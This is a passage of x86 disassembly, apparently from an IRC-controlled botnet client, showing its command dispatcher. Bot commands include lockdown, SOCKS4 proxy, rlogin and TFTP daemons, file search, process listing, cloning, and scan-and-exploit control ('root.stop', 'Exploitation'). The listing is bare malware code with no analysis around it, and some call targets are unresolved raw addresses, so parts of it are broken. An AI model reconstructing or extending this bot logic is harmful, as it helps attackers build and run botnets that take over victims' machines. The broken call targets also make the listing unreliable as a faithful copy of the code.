		mov	dword ptr [eax], 1


loc_40F417:				; CODE XREF: sub_40EE72+59Aj
		push	[ebp+var_84]
		push	offset dword_4386DC


loc_40F422:				; CODE XREF: sub_40EE72+5B45j
					; sub_40EE72+5E94j ...
		call	sub_40BFE1
		pop	ecx


loc_40F428:				; CODE XREF: sub_40EE72+5FA9j
		pop	ecx
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F42E:				; CODE XREF: sub_40EE72+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4386AC
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_4176D0
		add	esp, 18h
		test	eax, eax
		jnz	loc_40F239
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40F22E
; ---------------------------------------------------------------------------


loc_40F48F:				; CODE XREF: sub_40EE72+582j
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_4176D0
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F4E3
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F45
		cmp	dword_42F5B8, ebx
		jz	loc_414F45


loc_40F4E3:				; CODE XREF: sub_40EE72+637j
					; sub_40EE72+649j
		push	[ebp+var_90]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F66F
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_C0], esi


loc_40F52A:				; CODE XREF: sub_40EE72+8B9j
					; sub_40EE72+94Dj ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_4386A0
		mov	[ebp+arg_8], eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F96F
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F82A
		cmp	[ebp+var_AC], ebx
		jz	loc_40F800
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_6F4]
		push	edi
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		lea	eax, [ebp+var_708]
		push	[ebp+esi+var_88]
		push	edi
		push	eax
		call	sub_4172AE
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_43865C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5A
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C8B4
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	loc_40F7EF


loc_40F659:				; CODE XREF: sub_40EE72+7FBj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		call	near ptr 260086Bh
		nop
		jmp	short loc_40F659
; ---------------------------------------------------------------------------


loc_40F66F:				; CODE XREF: sub_40EE72+681j
					; sub_40EE72+697j
		push	[ebp+var_90]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40F688
		mov	[ebp+var_4], 1


loc_40F688:				; CODE XREF: sub_40EE72+80Dj
		cmp	[ebp+var_8C], ebx
		jz	loc_40F239
		push	(offset	loc_4289A7+1)
		push	[ebp+var_8C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40F6AF
		cmp	[ebp+var_4], ebx
		jz	short loc_40F6BB


loc_40F6AF:				; CODE XREF: sub_40EE72+836j
		lea	eax, [ebp+var_D8]
		mov	[ebp+var_8C], eax


loc_40F6BB:				; CODE XREF: sub_40EE72+83Bj
		cmp	[ebp+var_88], ebx
		jz	loc_40F239
		inc	[ebp+var_88]
		jz	short loc_40F707
		cmp	[ebp+arg_10], ebx
		jz	short loc_40F707
		lea	eax, [ebp+var_928]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_928]
		push	[ebp+var_88]
		push	eax
		call	sub_418DA0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_C0], esi
		jmp	short loc_40F70D
; ---------------------------------------------------------------------------


loc_40F707:				; CODE XREF: sub_40EE72+85Bj
					; sub_40EE72+860j
		mov	esi, [ebp+var_C0]


loc_40F70D:				; CODE XREF: sub_40EE72+893j
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40F239
		push	edi
		push	offset dword_438650
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40F7B0
		mov	eax, dword_489DD0
		mov	eax, off_42F6CC[eax*4]
		cmp	[eax], bl
		jz	short loc_40F7B0
		push	eax
		push	ecx
		push	offset dword_438634
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 10h
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h
		cmp	[ebp+var_AC], ebx
		jnz	loc_40F239
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1
		push	eax
		push	offset dword_489CDC


loc_40F7A0:				; CODE XREF: sub_40EE72+58BFj
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40F7B0:				; CODE XREF: sub_40EE72+8C8j
					; sub_40EE72+8D8j
		push	edi
		push	offset dword_438610
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F52A
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40F52A
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40F52A
		push	eax
		push	ecx
		push	offset dword_4385F8
		jmp	loc_40F22E
; ---------------------------------------------------------------------------


loc_40F7EF:				; CODE XREF: sub_40EE72+7E1j
		nop
		call	near ptr 2640A83h
		push	eax
		push	offset dword_4385B0
		jmp	loc_40F95B
; ---------------------------------------------------------------------------


loc_40F800:				; CODE XREF: sub_40EE72+702j
		lea	eax, [ebp+var_D8]
		push	eax
		push	[ebp+esi+var_8C]
		push	offset dword_438560


loc_40F813:				; CODE XREF: sub_40EE72+6175j
					; sub_40EE72+61DCj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 10h


loc_40F822:				; CODE XREF: sub_40EE72+7EDj
					; sub_40EE72+AB1j ...
		push	1
		pop	esi
		jmp	loc_411100
; ---------------------------------------------------------------------------


loc_40F82A:				; CODE XREF: sub_40EE72+6F6j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40F985
		cmp	[ebp+var_AC], ebx
		jz	loc_40F94F
		push	13h
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	loc_40F941
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_708]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172AE
		push	[ebp+esi+var_84]
		call	sub_41781F
		mov	[ebp+var_570], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_438528
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	13h
		push	eax
		call	sub_416D5A
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C351
		push	ebx
		push	ebx
		nop
		call	near ptr 2670CCFh
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_40F933


loc_40F91D:				; CODE XREF: sub_40EE72+ABFj
		cmp	[ebp+var_560], ebx
		jnz	loc_40F822
		push	32h
		call	near ptr 260086Bh
		nop
		jmp	short loc_40F91D
; ---------------------------------------------------------------------------


loc_40F933:				; CODE XREF: sub_40EE72+AA9j
		call	near ptr 2640A83h
		nop
		push	eax
		push	offset dword_4384E4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------


loc_40F941:				; CODE XREF: sub_40EE72+9E9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_4384A4
		jmp	short loc_40F95B
; ---------------------------------------------------------------------------


loc_40F94F:				; CODE XREF: sub_40EE72+9D9j
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset dword_438464


loc_40F95B:				; CODE XREF: sub_40EE72+989j
					; sub_40EE72+ACDj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_40F822
; ---------------------------------------------------------------------------


loc_40F96F:				; CODE XREF: sub_40EE72+6DBj
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		mov	[edi], ecx
		jnz	loc_40F239


loc_40F985:				; CODE XREF: sub_40EE72+9CDj
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aC_0 ; "c"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4D
		push	[ebp+arg_8]
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F4D
		cmp	[ebp+var_AC], ebx
		jnz	short loc_40F9D5
		push	[ebp+var_90]
		push	offset dword_4386A8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F45


loc_40F9D5:				; CODE XREF: sub_40EE72+B47j
		cmp	[ebp+arg_28], ebx
		jnz	loc_414F45
		xor	edi, edi
		cmp	dword_4313B4, ebx
		jle	loc_40FB81
		mov	[ebp+arg_20], offset dword_444340


loc_40F9F3:				; CODE XREF: sub_40EE72+BA0j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FA19
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4313B4
		jl	short loc_40F9F3
		jmp	loc_40FB81
; ---------------------------------------------------------------------------


loc_40FA19:				; CODE XREF: sub_40EE72+B90j
		push	offset asc_4387B8 ; " :"
		push	[ebp+arg_0]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		mov	cl, byte_42F5C4
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42F5C4
		mov	[eax+3], cl
		lea	ecx, dword_444358[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_418C10
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40FA6E:				; CODE XREF: sub_40EE72+CA4j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FADA
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40FADA
		lea	eax, dword_444340[edi]
		push	eax
		call	sub_417AB0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40FB0C
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40FB0C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch
		jmp	short loc_40FB0C
; ---------------------------------------------------------------------------


loc_40FADA:				; CODE XREF: sub_40EE72+C24j
					; sub_40EE72+C2Bj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40FB0C
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 18h


loc_40FB0C:				; CODE XREF: sub_40EE72+C3Dj
					; sub_40EE72+C51j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40FA6E
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40FB29:				; CODE XREF: sub_40EE72+D03j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_B8]
		push	offset aD	; "$%d"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h
		test	eax, eax
		jz	short loc_40FB6C
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40FB6C
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		add	esp, 0Ch


loc_40FB6C:				; CODE XREF: sub_40EE72+CDFj
					; sub_40EE72+CE5j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40FB29
		mov	[ebp+var_DC], 1


loc_40FB81:				; CODE XREF: sub_40EE72+B74j
					; sub_40EE72+BA2j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42F5C4
		jz	short loc_40FB9A
		cmp	[ebp+var_DC], ebx
		jz	loc_40FD7F


loc_40FB9A:				; CODE XREF: sub_40EE72+D1Aj
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe_0	; "$me"
		push	edi
		call	sub_40A7D7
		lea	eax, [ebp+var_D8]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_40A7D7
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_40A7D7
		push	ebx
		push	ebx
		lea	eax, [ebp+var_B8]
		push	2
		push	eax
		call	sub_415CFF
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_40A7D7
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_40A7D7
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 14h


loc_40FC0C:				; CODE XREF: sub_40EE72+E86j
		test	eax, eax
		jz	loc_40FCFD
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_B8]
		push	offset asc_438420 ; ")"
		push	eax
		call	sub_418B6E
		add	esp, 1Ch
		cmp	[ebp+var_B8], 30h
		jl	short loc_40FC58
		cmp	[ebp+var_B8], 39h
		jle	short loc_40FC6E


loc_40FC58:				; CODE XREF: sub_40EE72+DDBj
		push	3
		lea	eax, [ebp+var_B8]
		push	offset a63	; "63"
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40FC6E:				; CODE XREF: sub_40EE72+DE4j
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	short loc_40FC91
		lea	eax, [ebp+var_B8]
		push	eax
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40FCA2
; ---------------------------------------------------------------------------


loc_40FC91:				; CODE XREF: sub_40EE72+E0Bj
		call	sub_41730A
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40FCA2:				; CODE XREF: sub_40EE72+E1Dj
		lea	eax, [ebp+var_B8]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_417AB0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_B8]
		push	ebx
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_B8]
		push	[ebp+arg_10]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A7D7
		push	edi
		push	[ebp+arg_0]
		call	sub_417880
		add	esp, 30h
		jmp	loc_40FC0C
; ---------------------------------------------------------------------------


loc_40FCFD:				; CODE XREF: sub_40EE72+D9Cj
		mov	edi, 1FFh
		lea	eax, [ebp+var_FB0]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_FB0]
		push	edi
		push	eax
		lea	eax, [ebp+var_11B0]
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_11B0]
		push	offset asc_42A3B4 ; " "
		push	eax
		call	sub_418B6E
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh


loc_40FD4D:				; CODE XREF: sub_40EE72+EF0j
		push	offset asc_42A3B4 ; " "
		push	ebx
		call	sub_418B6E
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40FD4D
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40F239
		add	ecx, 3
		mov	[eax], ecx


loc_40FD7F:				; CODE XREF: sub_40EE72+D22j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aIrc_rndnick ; "irc.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF3
		push	edi
		push	offset aRn	; "rn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414EF3
		push	edi
		push	offset aIrc_die	; "irc.die"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED1
		push	edi
		push	offset aIrc_di	; "irc.di"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ED1
		push	edi
		push	offset aIrc_logout ; "irc.logout"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E2F
		push	edi
		push	offset aLo	; "lo"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E2F
		push	edi
		push	offset aIrc_version ; "irc.version"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E20
		push	edi
		push	offset aVer	; "ver"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414E20
		push	edi
		push	offset aLockdown_on ; "lockdown.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aLd_on	; "ld.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aLockdown_off ; "lockdown.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aLd_off	; "ld.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414D0B
		push	edi
		push	offset aProxy_socks4_o ; "proxy.socks4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BE9
		push	edi
		push	offset aProxy_s4_on ; "proxy.s4.on"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BE9
		push	edi
		push	offset aProxy_socks4_0 ; "proxy.socks4.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FEEF
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset dword_438368


loc_40FED3:				; CODE XREF: sub_40EE72+10A1j
					; sub_40EE72+10C7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_416FE8
		add	esp, 20h
		jmp	loc_40F239
; ---------------------------------------------------------------------------


loc_40FEEF:				; CODE XREF: sub_40EE72+104Cj
		push	edi
		push	offset aDaemon_rlogin_ ; "daemon.rlogin.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF15
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset dword_438344
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF15:				; CODE XREF: sub_40EE72+108Cj
		push	edi
		push	offset dword_438334
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF3B
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset dword_438328
		jmp	short loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF3B:				; CODE XREF: sub_40EE72+10B2j
		push	edi
		push	offset dword_438320
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF64
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset dword_438314
		push	offset dword_438308
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF64:				; CODE XREF: sub_40EE72+10D8j
		push	edi
		push	offset aProxy_redirect ; "proxy.redirect.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FF8D
		push	[ebp+esi+var_90]
		push	10h
		push	offset dword_4382E4
		push	offset dword_4382D4
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FF8D:				; CODE XREF: sub_40EE72+1101j
		push	edi
		push	offset dword_4382C8
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFB6
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset dword_4382BC
		push	offset dword_4382B0
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FFB6:				; CODE XREF: sub_40EE72+112Aj
		push	edi
		push	offset dword_4382A0
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40FFDF
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset dword_438294
		push	offset dword_438288
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_40FFDF:				; CODE XREF: sub_40EE72+1153j
		push	edi
		push	offset dword_438278
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410008
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset dword_43826C
		push	offset dword_438260
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410008:				; CODE XREF: sub_40EE72+117Cj
		push	edi
		push	offset dword_438250
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410031
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset dword_438244
		push	offset dword_438238
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410031:				; CODE XREF: sub_40EE72+11A5j
		push	edi
		push	offset aDaemon_tftp_of ; "daemon.tftp.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41005A
		push	[ebp+esi+var_90]
		push	4


loc_41004B:				; DATA XREF: ___:0042CC90o
					; ___:0042CCA4o
		push	offset aServer	; "Server"
		push	offset dword_43821C
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_41005A:				; CODE XREF: sub_40EE72+11CEj
		push	edi
		push	offset aUtil_findfile_ ; "util.findfile.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD1
		push	edi
		push	offset aUtil_ff_off ; "util.ff.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BD1
		push	edi
		push	offset aCom_procs_off ;	"com.procs.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BB9
		push	edi
		push	offset aCom_ps_off ; "com.ps.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BB9
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4100D7
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset dword_4381BC
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_4100D7:				; CODE XREF: sub_40EE72+124Bj
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410100
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure_0 ; "Secure"
		push	offset dword_438194
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410100:				; CODE XREF: sub_40EE72+1274j
		push	edi
		push	offset aRoot_stop ; "root.stop"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410129
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40FED3
; ---------------------------------------------------------------------------


loc_410129:				; CODE XREF: sub_40EE72+129Dj
		push	edi
		push	offset aRoot_stats ; "root.stats"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA3
		push	edi
		push	offset aRoot_st	; "root.st"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414BA3
		push	edi
		push	offset aIrc_reconnect ;	"irc.reconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B82
		push	edi
		push	offset aIrc_r	; "irc.r"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B82
		push	edi
		push	offset aIrc_disconnect ; "irc.disconnect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B60
		push	edi
		push	offset aIrc_d	; "irc.d"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B60
		push	edi
		push	offset aIrc_quit ; "irc.quit"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B18
		push	edi
		push	offset aIrc_q	; "irc.q"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414B18
		push	edi
		push	offset aIrc_status ; "irc.status"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AD9
		push	edi
		push	offset aIrc_s	; "irc.s"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414AD9
		push	edi
		push	offset aIrc_id	; "irc.id"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACD
		push	edi
		push	offset aIrc_i	; "irc.i"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414ACD
		push	edi
		push	offset aCom_rebewt ; "com.rebewt"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_410277
		call	sub_40AC20
		test	eax, eax
		mov	eax, offset dword_4380BC
		jnz	short loc_410249
		mov	eax, offset dword_438088


loc_410249:				; CODE XREF: sub_40EE72+13D0j
		push	eax
